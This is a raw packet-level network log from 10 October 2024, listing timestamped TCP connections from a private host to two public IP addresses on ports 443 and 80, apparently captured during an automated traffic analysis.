Oct 10, 2024 10:13:48.254631996 CEST	64687	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.254647017 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.281330109 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.281404018 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.281503916 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.281749010 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.281778097 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.281794071 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.281802893 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.285166025 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.285218954 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.285501957 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.285603046 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.285620928 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.294035912 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.294205904 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.294281960 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.294401884 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.294420958 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.294433117 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.294437885 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.297226906 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.297266960 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.297338963 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.297471046 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.297492981 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.601281881 CEST	64690	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:48.606118917 CEST	80	64690	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:48.606277943 CEST	64690	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:48.606554031 CEST	64690	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:48.611888885 CEST	80	64690	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:49.074100018 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.074115038 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.074651957 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.074678898 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.074693918 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.074727058 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.075172901 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.075182915 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.075253963 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.075472116 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.075481892 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.075517893 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.075778008 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.075784922 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.075838089 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.075851917 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.076196909 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.076201916 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.076566935 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.076574087 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.084376097 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.084808111 CEST	64687	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.084837914 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.085295916 CEST	64687	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.085300922 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.181838989 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.181943893 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.182060003 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.182369947 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.182391882 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.182426929 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.182434082 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.182614088 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.182673931 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.182715893 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.182732105 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.182763100 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.182877064 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.182898045 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.182912111 CEST	64688	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.182918072 CEST	443	64688	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.183686018 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.183821917 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.183871984 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.183922052 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.184206009 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.184211969 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.184245110 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.184250116 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.184885979 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.184957981 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.185029984 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186113119 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186158895 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.186175108 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186208963 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.186266899 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186350107 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186352968 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186369896 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.186383009 CEST	64689	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186388016 CEST	443	64689	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.186532021 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.186547041 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.187156916 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.187167883 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.187174082 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.187213898 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.187277079 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.187392950 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.187406063 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.188468933 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.188478947 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.188530922 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.188627958 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.188642025 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.195075035 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.195139885 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.195283890 CEST	64687	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.195316076 CEST	64687	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.195333958 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.195344925 CEST	64687	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.195350885 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.197326899 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.197348118 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.197400093 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.197527885 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.197539091 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.334319115 CEST	80	64690	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:49.334358931 CEST	80	64690	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:49.334466934 CEST	64690	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:49.334836006 CEST	64690	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:49.334867001 CEST	64690	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:49.738775015 CEST	64696	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:49.743663073 CEST	80	64696	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:49.746573925 CEST	64696	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:49.746706009 CEST	64696	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:49.751477003 CEST	80	64696	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:49.844016075 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.844589949 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.844646931 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.845238924 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.845242977 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.862731934 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.863189936 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.863219023 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.863616943 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.863622904 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.864466906 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.864726067 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.864734888 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.865045071 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.865048885 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.878237009 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.878540039 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.878568888 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.879004002 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.879009008 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.879139900 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.879420996 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.879484892 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.879775047 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.879789114 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.952935934 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.953092098 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.953161955 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.953413963 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.953435898 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.953447104 CEST	64692	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.953453064 CEST	443	64692	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.957247972 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.957289934 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.957386971 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.957643986 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.957659960 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.974833965 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.974895954 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.975039959 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.975367069 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.975394964 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.975411892 CEST	64694	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.975416899 CEST	443	64694	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.978070974 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.978133917 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.978216887 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.978364944 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.978400946 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.978400946 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.978416920 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.978431940 CEST	64695	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.978436947 CEST	443	64695	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.978471994 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.978585005 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.978596926 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.981164932 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.981200933 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.981281042 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.981452942 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.981462955 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.988445044 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.988678932 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.988746881 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.988794088 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.988811970 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.988823891 CEST	64691	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.988835096 CEST	443	64691	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.991281033 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.991313934 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.991396904 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.991545916 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.991555929 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.992763996 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.992870092 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.992912054 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.992917061 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.992970943 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.993093014 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.993103027 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.993113995 CEST	64693	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.993118048 CEST	443	64693	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.995718956 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.995749950 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:49.995821953 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.995965958 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:49.995978117 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.451318026 CEST	80	64696	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:50.451350927 CEST	80	64696	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:50.451389074 CEST	64696	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:50.451431990 CEST	64696	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:50.451910973 CEST	64696	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:50.451932907 CEST	64696	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:50.614995003 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.615645885 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.615741968 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.616267920 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.616285086 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.642404079 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.643125057 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.643155098 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.643584013 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.643589973 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.655247927 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.655742884 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.655771971 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.656379938 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.656390905 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.661161900 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.661454916 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.661495924 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.661926031 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.661931992 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.685879946 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.686388016 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.686412096 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.686953068 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.686958075 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.724570036 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.724786997 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.724956989 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.732237101 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.732278109 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.732291937 CEST	64697	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.732299089 CEST	443	64697	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.736191034 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.736234903 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.736336946 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.736546993 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.736562967 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.754523039 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.754554987 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.754626036 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.754637003 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.754806995 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.754837990 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.754856110 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.754865885 CEST	64700	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.754870892 CEST	443	64700	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.757545948 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.757571936 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.757797956 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.757986069 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.757997990 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.768939018 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.769294024 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.769341946 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.769347906 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.769386053 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.769428968 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.769450903 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.769464970 CEST	64698	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.769471884 CEST	443	64698	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.772187948 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.772232056 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.772305965 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.772460938 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.772470951 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.778042078 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.778110981 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.778177023 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.778310061 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.778328896 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.778340101 CEST	64701	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.778345108 CEST	443	64701	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.780332088 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.780373096 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.780455112 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.780631065 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.780647993 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.798733950 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.798892975 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.798994064 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.799211979 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.799221039 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.799231052 CEST	64699	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.799236059 CEST	443	64699	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.802118063 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.802170038 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:50.802558899 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.802701950 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:50.802719116 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.393692970 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.424618006 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.424791098 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.437053919 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.448254108 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.467777967 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.479495049 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.479495049 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.480890036 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.510628939 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.624643087 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.624685049 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.625252962 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.625264883 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.625564098 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.625570059 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.626171112 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.626178026 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.626957893 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.626991034 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.627521992 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.627526045 CEST	443	64702	13.107.253.45	192.168.2.4
